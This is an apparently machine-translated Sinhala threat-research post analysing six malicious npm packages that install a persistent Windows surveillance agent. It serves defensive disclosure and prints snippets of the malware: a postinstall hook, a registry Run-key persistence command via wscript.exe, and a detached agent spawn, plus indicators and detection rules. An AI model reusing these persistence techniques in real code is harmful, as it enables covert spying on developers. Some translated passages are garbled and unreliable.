DevTap npm යතුරු ලියන දෝෂ ප්‍රහාරය

DevTap npm Typosquatting ප්‍රහාරය: සංවර්ධක වැඩපොළ ඉලක්ක කරගත් අනිෂ්ට පැකේජ හයක්

පටුන

කියවිය යුතුම සටහන්

නවතම උනන්දුවක් දක්වන පළ කිරීම්

TL; ඩී

2026 අප්‍රේල් 1 සහ මැයි 3 අතර, තනි npm ප්‍රකාශකයෙක්, user0001, සත්‍යාපනය නොකළ Gmail ලිපිනය සමඟ ලියාපදිංචි කර ඇත. tanvisoul9@gmail.com, හිතාමතාම මෘදු, යටිතල පහසුකම් ශබ්ද කරන නම් සහිත පැකේජ හයක් නිහඬව තල්ලු කළේය: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, සහ node-env-resolve.

නවතම අනුවාද දෙක node-env-resolve, 1.0.7 සහ 1.0.8, මැයි 2 වන දින Xygeni හි අනිෂ්ට මෘදුකාංග පූර්ව අනතුරු ඇඟවීමේ (MEW) පද්ධතිය විසින් සලකුණු කරන ලද අතර මැයි 3 වන දින අනිෂ්ට බව තහවුරු කරන ලදී.

බද්ධ කිරීම අසාමාන්‍ය දෙයක් නොවේ: ටෙලිග්‍රාම් බොට් නැත, OAST ආපසු ඇමතුම් නැත, නැත බොඳකර ගැනීම, සහ ස්ථාපන අවස්ථාවේදී AWS අක්තපත්‍ර ලබා ගැනීමට කිසිදු උත්සාහයක් නොමැත. ඒ වෙනුවට, postinstall.js HKCU Run යතුරක් භාවිතයෙන් Windows boot-persistence entry එකක් ස්ථාපනය කරයි, එය දියත් කරයි wscript.exe VBS ස්ටබ් එකකට එරෙහිව. ඉන්පසු එය මයික්‍රෆෝන ග්‍රහණය, බ්‍රව්සර්-ඉතිහාස සොරකම, තිර රූගත කිරීම සහ මූසිකය/යතුරුපුවරු අනුකරණය සඳහා මොඩියුල බණ්ඩල් කරන වෙන් වූ Node.js නියෝජිතයෙකු බිහි කරයි.

අපි මේ පොකුර හඳුන්වන්නේ ඩිව්ටැප්කට්ටලයෙන් පසු එය සංවර්ධකයෙකුගේ යන්ත්‍රයක ක්‍රියාත්මක වේ.

මෙම ලිපිය ලියන අවස්ථාව වන විට සියලුම පැකේජ හයම npm හි සජීවීව විකාශය විය. අපි ඒවා රෙජිස්ට්‍රියේ අපයෝජන නාලිකාවට ඉදිරිපත් කර ඇත්තෙමු. ආරක්ෂකයින් ඉවත් කිරීමට නියමිතව ඇති ප්‍රකාශකයාගේ ඕනෑම ස්ථාපනයක් ඉවත් කළ යුතුය.

පොකුර: පැකේජ හයක්, එක් ප්‍රකාශකයෙක්

ප්‍රකාශක ගිණුම user0001 සත්‍යාපනය කර නැත. එයට නැත SCM සත්‍යාපනය, වසම්-බැඳි විද්‍යුත් තැපෑලක් නැත, සහ පෙර ඉතිහාසයක් නැත. Gmail හසුරුව tanvisoul9 අපට සොයාගත හැකි වෙනත් කිසිදු npm ප්‍රකාශක වාර්තාවක දක්නට නොලැබේ.

සියලුම පැකේජ හයම එකම නඩත්තුකරු ලැයිස්තුගත කර ඇත, එකම ගිණුමකින් ප්‍රකාශයට පත් කර ඇති අතර එකම දේ බෙදා ගනී package.json බොයිලර් ප්ලේට්. නැත repository, නොමැත homepageහා නැත description තනි පේළියකට වඩා දිගු.

නම් කිරීමේ උපාය මාර්ගය සිත්ගන්නා සුළු කොටසයි. සම්භාව්‍ය යැපීම්-ව්‍යාකූලත්වයක් හෝ යතුරු ලියන ව්‍යාපාරයක් මෙන් නොව, මෙම නම් කිසිවක් නිශ්චිත උඩුගං බලා පුස්තකාලයක් ඉලක්ක කරයි. ඒ වෙනුවට, ඒවා සැබෑ එකක් බවට අතුරුදහන් වීමට ක්‍රමාංකනය කර ඇත. package.json or npm ls ප්‍රතිදානය.

පැකේජයමුලින්ම ප්‍රකාශයට පත් කරන ලදිනවතම අනුවාදයඅනුවාදපොකුරේ කාර්යභාරය
මධ්‍යම පාලකයා2026-04-01 12:46 UTC1.0.95, 1.0.5 සිට 1.0.9 දක්වාක්ලස්ටර් හි “ලොග් කිරීමේ උපයෝගිතා” කවරය; ​​මුල්ම ප්‍රකාශනය
ඩොම්-යුටිල්ස්-ලයිට්2026-04-14 07:36 UTC1.0.33සාමාන්‍ය DOM-සහායක ආවරණය
නෝඩ්-ෆෙච්-ලයිට්2026-04-19 10:22 UTC1.0.23අනුකරණ නෝඩ්-ෆෙච් පවුල
සම්බන්ධක-නියෝජිතයා2026-04-25 05:12 UTC1.0.01සාමාන්‍ය නාමය "නියෝජිතයා"
නෝඩ්-ජිප්-ධාවන කාලය2026-04-25 05:17 UTC1.0.01අනුකරණයන් ස්වදේශීය-මොඩියුල ගොඩනැගීමේ මෙවලම්
නෝඩ්-env-විසඳුම2026-04-25 05:21 UTC1.0.910, 1.0.0 සිට 1.0.9 දක්වාක්‍රියාකාරී බිංදු යන්ත්‍රය; සම්පූර්ණ බද්ධ කිරීම

වැනි නම් centralogger, node-fetch-lite, සහ node-gyp-runtime කේත සමාලෝචනයේදී මතභේදාත්මක නොවන ලෙස පෙනෙන පරිදි නිර්මාණය කර ඇත. ඒවා දැනටමත් ව්‍යාපෘතියක යැපුම් ගසක ඇති දේවල් මෙන් ශබ්ද කරයි.

නැවුම්, සත්‍යාපනය නොකළ ප්‍රකාශකයෙකු සහ අස්ථානගත වූ ගබඩා සබැඳි සමඟ ඒකාබද්ධව, ඒවා හඳුනාගත හැකි රටාවක් සාදයි: නළුවෙකු අඩු ඝර්ෂණ නම් ලේඛනයට ඇතුළත් කර, පසුව වැදගත් දෙය ඉක්මනින් පුනරාවර්තනය කරයි. මෙම අවස්ථාවේදී, node-env-resolve දින අටක් ඇතුළත අනුවාද දහයක් ලැබුණි.

Windows Dev Box එකකට වැටෙන්නේ කුමක්ද?

ද්වේෂසහගත දාමය ක්‍රියාත්මකයි node-env-resolve:1.0.8 npm RAT සඳහා කෙටි, සෘජු සහ අසාමාන්‍ය ලෙස විශේෂාංග වලින් පොහොසත් ය.

පශ්චාත් ස්ථාපනය: ස්ථීරභාවය සහ වෙන් කළ නියෝජිතයා

package.json තනි ස්ථාපන කොක්කක් ප්‍රකාශ කරයි:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js දේවල් තුනක් පිළිවෙලට කරයි.

පළමුව, එය npm ගසෙන් පිටත ස්ථාපන නාමාවලියක් වේදිකාගත කරයි. මාර්ගය ස්ක්‍රිප්ට් එකේ ධාවන වේලාවේදී ගණනය කරනු ලැබේ INSTALL_DIR. ඉන්පසු එය අභ්‍යන්තරයක් ක්‍රියාත්මක කරයි execSync('npm install --production --silent ...') එය තුළට බද්ධ කිරීමේ ධාවන කාල පරායත්තතා ඇද ගැනීමට. මෙය නියෝජිතයා තැටියක කොතැනක හෝ අත්පොතක තබයි. node_modules විගණනය සොයා නොගනු ඇත.

දෙවනුව, එය VBS දියත් කිරීමක් ලියන අතර එය බූට් නොනැසී පැවතීම සඳහා ලියාපදිංචි කරයි:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe යනු Windows Script Host ය, එය ක්‍රියාත්මක වන අත්සන් කළ Microsoft ද්විමය ගොනුවකි. .vbs කොන්සෝල කවුළුවක් නොමැති ගොනු. එය පෙරයිcisස්වයංක්‍රීය ධාවන ස්ටබ් සඳහා එය වඩාත් සුදුසු වන්නේ මන්ද යන්නයි.

ගැලපීමක් ද ඇත reg delete ඇතුළත මාර්ගය src/index.js, ක්‍රියාකරු විධානය මත බද්ධ කිරීම පිරිසිදුව ඉවත් කළ හැකි පරිදි නිර්මාණය කර ඇති බව යෝජනා කරයි.

තෙවනුව, එය වෙන් වූ ළමා ක්‍රියාවලියක් ඇති කරයි:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

මෙහි විස්තර දෙකක් වැදගත් වේ.

SERVER_URL පරිසරයෙන් කියවනු ලැබේ. එහි ප්‍රතිඵලයක් ලෙස, C2 අන්ත ලක්ෂ්‍යය යෙදවීම අනුව වින්‍යාසගත කළ හැකි අතර පැකේජයට ඇතුළත් නොකෙරේ. එම කුඩා නමුත් හිතාමතා තේරීම බොහෝ ස්ථිතික-IOC ස්වීප් පරාජය කරයි.

එසේම, පැටවුන් බිහි කළ දරුවාට සම්පූර්ණ දෙමාපිය පරිසරය උරුම වේ. එබැවින්, ඕනෑම NPM_TOKEN, AWS_*, GITHUB_TOKEN, හෝ ස්ථාපන අවස්ථාවේදී සංවර්ධක කවචයේ ඇති SSH-නියෝජිත සොකට් දිගු කාලීන නියෝජිතයාගේ මතකයට ගමන් කරයි.

නියෝජිතයා නැව්ගත කරන දේ

බණ්ඩල් කරන ලද src/ ගසෙහි මොඩියුල තුනක් ඇතුළත් වන අතර ඒවායේ නම් පමණක් කතාව කියයි: audioCapture.js, browserHistory.js, සහ systemInfo.js.

ධාවන කාල පරායත්තතා ලැයිස්තුව, අදියරගත කිරීමේදී විසඳා ඇත npm install, ඒවා සනාථ කරයි.

මෙම ප්‍රවේශය අවුල් සහගත සිදුවීමක් පාලිත ප්‍රතිචාරයක් බවට පත් කරයි.

අන්ධ ලෙස ප්‍රතික්‍රියා කිරීම වෙනුවට, කණ්ඩායම් ක්‍රියාත්මක වන්නේ පැහැදිලි ප්‍රමුඛතාකරණය සහ වේගවත් ප්‍රතිකර්මය.

සත්කාරමෙම සන්දර්භය තුළ එය කුමක් සඳහාද?
තිර රුව-ඩෙස්ක්ටොප්කාලානුරූප තිර ග්‍රහණය
@නට්-ට්‍රී-ෆෝක්/නට්-ජේඑස්මූසිකය සහ යතුරුපුවරු ස්වයංක්‍රීයකරණය / ආදාන අනුකරණය
වඩා හොඳ-sqlite3Chrome, Edge සහ Firefox ඉතිහාසය SQLite දත්ත සමුදායන් සෘජුවම කියවීම.
ඇඩ්ම්-සිප්එකතු කරන ලද කෞතුක වස්තු බැහැර කිරීමට පෙර එකතු කිරීම
තියුණු වියතිරපිටපත් සහ රූප කෞතුක වස්තු ප්‍රතිප්‍රමාණ කිරීම / සම්පීඩනය කිරීම
සොකට්.io-සේවාදායකයාස්ථිර ද්විපාර්ශ්වික C2 නාලිකාව
නෝඩ්-යන්ත්‍ර-හැඳුනුම්පතවින්දිතයින් ලුහුබැඳීම සඳහා ස්ථාවර එක්-ධාරක ඇඟිලි සලකුණ

systemInfo.js ඇමතුම් os.networkInterfaces() පළමු බීකන් එකට පෙර අමතර ඇඟිලි සලකුණු සඳහා.

ශ්‍රව්‍ය ග්‍රහණය කැපී පෙනෙන සංඥාව වන්නේ ඇයි?

අපි MEW හි ට්‍රයිජ් කරන බොහෝ npm RATs ස්ථාපන වේලාවේ රහස් සොරකම නතර කරයි. ඔවුන් කියවනවා ~/.npmrc, කියවන්න ~/.aws/credentials, සීරීමට process.env, වෙබ් කොක්කකට POST කර පිටවන්න. එය කඩාකප්පල්කාරී ආර්ථික ආකෘතියකට ගැලපේ. අක්තපත්‍ර කෙටි අර්ධ ආයු කාලයක් ඇති අතර, ප්‍රහාරකයා ඉක්මනින් මුදල් ඉපයිය යුතුය.

node-env-resolve හැඩයෙන් වෙනස් වේ.

නැවත පණගැන්වීමෙන් නොනැසී පැවතීම සඳහා නොනැසී පවතී. නියෝජිතයා වෙන් වී දිගු කල් පවතිනු ඇත. wscript.exe. එය රැගෙන යන කට්ටලය සංවර්ධකයෙකුගේ යන්ත්‍රයක සිටීම සඳහා මිස අල්ලාගෙන පිටව යාමට නොවේ: මයික්‍රෆෝන රෙකෝඩරයක්, යතුරුපුවරුව/මූසික ධාවකයක්, සම්පූර්ණ බ්‍රව්සර්-ඉතිහාස ඇතුළත් කිරීම, තිර ග්‍රහණය සහ වින්‍යාසගත කළ හැකි C2 වෙත ආපසු අන්තර්ක්‍රියාකාරී Socket.IO නාලිකාවක්.

විශේෂයෙන්ම මයික්‍රෆෝන ග්‍රහණය යනු මෙම ව්‍යාපාරය හරස් කරන රේඛාව වන අතර එය බොහෝ npm අනිෂ්ට මෘදුකාංග හරස් නොකරයි.

සංවර්ධක වැඩපොළක් යනු, වැඩි වැඩියෙන්, සංවර්ධකයින් නැගී සිටීම්, පාරිභෝගික ඇමතුම්, නිර්මාණ සාකච්ඡා සහ ඇමතුම් පාලම් ලබා ගන්නා වැඩපොළකි. මයික්‍රෆෝනය පටිගත කරන බද්ධ කිරීමක් ඇත්ත වශයෙන්ම සංවර්ධකයාගේ npm ටෝකනයට පසුව නොවේ. එය ලැප්ටොප් පරිගණකය ඉදිරිපිට සංවර්ධකයා පවසන දේට පසුවය.

එම හැකියාවන් කට්ටලය, අපැහැදිලි කිරීමක් නොමැතිකම සහ කිසිදු දීප්තිමත් ස්ථාපන-කාල පිටකිරීමක් නොමැතිකම, අවස්ථාවාදී අක්තපත්‍ර සොරකමකට වඩා ඉලක්කගත ප්‍රවේශය සඳහා පූර්ව ස්ථානගත කිරීමක් ලෙස කියවේ.

අපි මෙයින් පමණක් ආරෝපණය තහවුරු නොකරමු. අපි මෙහෙයුම් පැතිකඩ සටහන් කරමු.

npm අකුරු වැරදි ලෙස ටයිප් කිරීමේ ප්‍රහාරය - DevTab

දින අටක පුනරාවර්තන අවරෝහය node-env-resolve කාලරේඛාවේ වඩාත්ම ක්‍රියාකාරීව පවසන විස්තරය වේ.

මෙය ගිනි තබා අමතක කරන වැටීමක් නොවේ. ප්‍රකාශකයා ක්‍රියාකාරීව dropper නඩත්තු කරයි, එය සාමාන්‍යයෙන් දේවල් දෙකෙන් එකක් අදහස් කරයි. එක්කෝ ඔවුන් පුළුල් යෙදවීමට පෙර පරීක්ෂණ පරිසරයන්ට එරෙහිව එය සුසර කරයි, නැතහොත් ඔවුන් දැනටමත් ස්ථාපන ටෙලිමෙට්‍රි නැවත පැමිණ එයට ප්‍රතිචාර දක්වයි.

අනෙක් පැකේජ පහ ඔවුන්ගේ මූලික ප්‍රකාශනයෙන් පසුව ඵලදායී ලෙස කිසිදු වෙනසක් සිදු නොවීය. එය ආධාරක පොකුර සඳහා "එක් වරක් අදියර, නම් කරන ලද නිවාඩු" රටාවකට ගැලපේ, ඉංජිනේරු උත්සාහය කාර්යය කරන පැකේජය කෙරෙහි අවධානය යොමු කරයි.

ආරෝපණය: කුඩා ඉඟි, ස්ථිර තීන්දුවක් නැත.

පොදු OSINT සංඥා තුනී වන අතර, අපි ඒවා දිගු නොකරමු. නිරීක්ෂණය කළ හැකි දේ:

Gmail හසුරුව tanvisoul9 දකුණු ආසියානු දෙන ලද නමක් වන "තන්වි" ට අර්ධ වශයෙන් සමාන වේ. මෙය දුර්වල සංඥාවකි. Gmail හැන්ඩ්ල් යනු අනන්‍යතාවය නොවන අතර, පසුපසින් ඇති soul9 සාමාන්‍යයි. විද්‍යුත් තැපෑලකින් දේශීය කොටසකින් පමණක් භූගෝල විද්‍යාව අනුමාන කිරීම ආරක්ෂිත නොවේ.

කේත විලාසය කැපී පෙනෙන සුළු නොවේ Node.js: standard පුස්තකාල ඇමතුම් වැනි os, child_process, spawn, සහ reg add. කිසිදු අපැහැදිලි කිරීමක්, නූල් භ්‍රමණයක් සහ ප්‍රති-නිදොස් කිරීමේ තර්කනයක් නොමැත. කතුවරයා වින්ඩෝස් රෙජිස්ට්‍රි ප්‍රාථමික සහ වෙන්වූ-ළමා-ක්‍රියාවලි වාද්‍ය වෘන්දය සමඟ සැපපහසුයි, නමුත් ඔවුන් භාවිතා කළ හැකි රහසිගත වෙළඳ ශිල්ප සඳහා ළඟා වන බවක් නොපෙනේ.

යැපීම් සම්පූර්ණයෙන්ම බැහැර වන අතර ප්‍රසිද්ධයි: screenshot-desktop, nut-js, better-sqlite3, සහ socket.io-client. අභිරුචි ප්‍රොටෝකෝලයක් නැත, සීරීම් වලින් රෝල් කරන ලද C2 තොගයක් නැත, සහ පෙළපොතකට වඩා නව නොනැසී පැවතීමේ උපක්‍රමයක් නොමැත. HKCU ධාවන යතුර. මෙය දක්ෂ ඒකාබද්ධ කරන්නෙකි, මෙවලම් කතුවරයෙකු නොවේ.

ප්‍රකාශිත කෞතුක වස්තු තුළ අපට ඉංග්‍රීසි නොවන අනුලකුණු වැල්, එම්බෙඩඩ් අදහස්, ස්ථානීය දත්ත හෝ සම්පාදක-ප්‍රතිදාන වේලා කලාප ඇඟිලි සලකුණු හමු නොවීය.

අපි දැනටමත් නිරීක්ෂණය කරන පෙර ව්‍යාපාර සමඟ කේත අතිච්ඡාදනය සඳහා අපි පරීක්ෂා කළෙමු, ඇතුළුව ෂායි හුලුඩ්, ඕවිලියන්, බිල්ඩ්කයිට්, සහ මෑත කාලීන හෙයිබායි / claude-code-best ඇන්ත්‍රොපික්-CLI ක්ලෝන පවුල. අපට කිසිවක් හමු නොවීය: බෙදාගත් C2 රටා නැත, බෙදාගත් ගොනු පිරිසැලසුම් නැත, සහ බෙදාගත් ව්‍යාකරණ නැත.

අපි නොකියන දේ: මෙය රාජ්‍ය ක්‍රියාකාරිකයෙකු, දන්නා කණ්ඩායමක් හෝ භූගෝලීය වශයෙන් කිසියම් නිශ්චිත රටකට බැඳී ඇති බවයි.

මෙහෙයුම් පැතිකඩ, සංවර්ධක-වැඩපොළ නිරීක්ෂණ සිදු කරන කුඩා, මධ්‍යස්ථ කුසලතා ඇති කණ්ඩායමක් සමඟ අනුකූල වේ. එය ප්‍රවේශය පහළට භාවිතා කිරීම හරහා මූල්‍යමය වශයෙන් අභිප්‍රේරණය වී ඇති නමුත්, වෙනම ගැනුම්කරුවෙකු සඳහා සේවාවක් ලෙස ඔත්තු බැලීම ද විය හැකිය.

කියවෙන වක්‍ර කරුණු දෙකක් සහාය දක්වයි: ටෙලිග්‍රාම් බොට්ස් වැනි පොකුර වේගයෙන් පුළුස්සා දමන අවධානය ආකර්ෂණය කර ගන්නා පිටකිරීමේ යාන්ත්‍රණයන්ගෙන් වැළකීම, oastify.com, හෝ canarytokens, සහ කෙටි ඉහළ පරිමාවක් සහිත ස්පයික් එකක් මත නිහඬ දිගු-වලිග ස්ථාපනයන්ට අනුග්‍රහය දක්වන හිතාමතාම මෘදු පැකේජ නම්.

සම්මුතිය සහ අනාවරණය කිරීමේ දර්ශක

පැකේජ සහ ප්‍රකාශක
ක්ෂේත්රවටිනාකම
npm ප්‍රකාශකයාuser0001
ප්‍රකාශක ඊමේල් ලිපිනයtanvisoul9@gmail.com, සත්‍යාපනය නොකළ
පැකේජcentralogger, dom-utils-lite, node-fetch-lite, සම්බන්ධක-නියෝජිත, node-gyp-ධාවන කාලය, node-env-resolve
තහවුරු කරන ලද ද්වේෂසහගතනෝඩ්-env-resolve@1.0.7, නෝඩ්-env-resolve@1.0.8
සත්කාරක කෞතුක වස්තු
වර්ගයවටිනාකම
නොනැසී පැවතීමේ යතුරHKCU\මෘදුකාංග\මයික්‍රොසොෆ්ට්\වින්ඩෝස්\වත්මන් අනුවාදය\ධාවනය
නොනැසී පවතින අගයවිචල්‍ය නාමය; wscript.exe ආකෘතියේ දත්ත " \ .vbs"
කොක්ක සවි කරන්නpostinstall: පැකේජ මැනිෆෙස්ටයේ postinstall.js නෝඩය
බද්ධ කිරීමේ මොඩියුලsrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
වේදිකා නාමාවලියව්‍යාපෘතියේ node_modules වලින් පිටත INSTALL_DIR විසඳා ඇත; ස්ථාපන අවස්ථාවේදී postinstall.js විසින් ස්ථානය සකසා ඇත.
ජාල
වර්ගයවටිනාකම
C2 ප්‍රවාහනයsocket.io-client, අඛණ්ඩ ද්විපාර්ශ්වික නාලිකාව
C2 අන්ත ලක්ෂ්‍යයSERVER_URL පරිසර විචල්‍යය හරහා නියෝජිතයාට සපයන ලදී; ප්‍රකාශිත කෞතුක වස්තු වලට දෘඪ-කේතනය කර නොමැත.

හඳුනාගැනීමේ සටහන්

C2 අන්ත ලක්ෂ්‍යය අවශ්‍ය නොවී මෙම පවුල අල්ලා ගන්නා නීති දෙකක් තිබේ.

පළමුව, අභ්‍යන්තරයක් සිදු කරන ස්ක්‍රිප්ට් ස්ථාපනය කරන්න. npm install පැකේජයේම නාමාවලියෙන් පිටත මාර්ගයකට. ඕනෑම නීත්‍යානුකූල පෙර-නිර්මාණය කළ බාගත කරන්නෙකු, උදා. node-gyp නැවත ගොඩනඟන හෝ පූර්ව-බිල්ට්-ද්විමය බාගත කරන්නන්, පැකේජය තුළ හෝ වේදිකාවට ලියයි-standard සත්‍යාපිත හැෂ් සහිත හැඹිලි මාර්ග. එය අලුතින් නිර්මාණය කරන ලද එකකට ලියන්නේ නැත. INSTALL_DIR තැටියේ වෙනත් තැනක.

දෙවනුව, නිකුත් කරන ස්ක්‍රිප්ට් flag post install කරන්න reg add HKCU\…\Run සමග wscript.exe දියත් කිරීම ලෙස. මෙය කිසි විටෙකත් npm පැකේජයකින් නීත්‍යානුකූල නොවේ. එය සලකුණු කර නිරෝධායනය කරන්න.

ඊළඟ සහෝදර පැකේජය තහවුරු කිරීමට පෙර එය හඳුනා ගැනීම සඳහා තුන්වන හියුරිස්ටික් ප්‍රයෝජනවත් වේ: නව npm ප්‍රකාශකයෙක් නැත SCM සත්‍යාපනය, Gmail විද්‍යුත් තැපෑලක්, නැත repository ක්ෂේත්‍ර, සහ කෙටි, සාමාන්‍ය, යටිතල පහසුකම්-ශබ්ද කරන පැකේජ නම් කිහිපයක් එකිනෙක දින කිහිපයක් ඇතුළත ප්‍රකාශයට පත් කිරීම, අතින් සමාලෝචනය කිරීම සහතික කිරීමට ප්‍රමාණවත් වේ.

npm ලේඛකාධිකාරයට වාර්තා කරන ලදී. ප්‍රකාශක ගිණුම ඉවත් කළ විට අපි මෙම පළ කිරීම යාවත්කාලීන කරන්නෙමු.

sca-මෙවලම්-මෘදුකාංග-සංයුතිය-විශ්ලේෂණ-මෙවලම්
ඔබේ මෘදුකාංග අවදානම් ප්‍රමුඛතාවය දෙන්න, නිවැරදි කරන්න සහ සුරක්ෂිත කරන්න
ඔබගේ නොමිලේ ගිණුම ලබා ගන්න.
කිසිදු ක්රෙඩිට් කාඩ්පතක් අවශ්ය නොවේ.

ඔබේ මෘදුකාංග සංවර්ධනය සහ බෙදා හැරීම සුරක්ෂිත කරන්න

Xygeni නිෂ්පාදන කට්ටලය සමඟ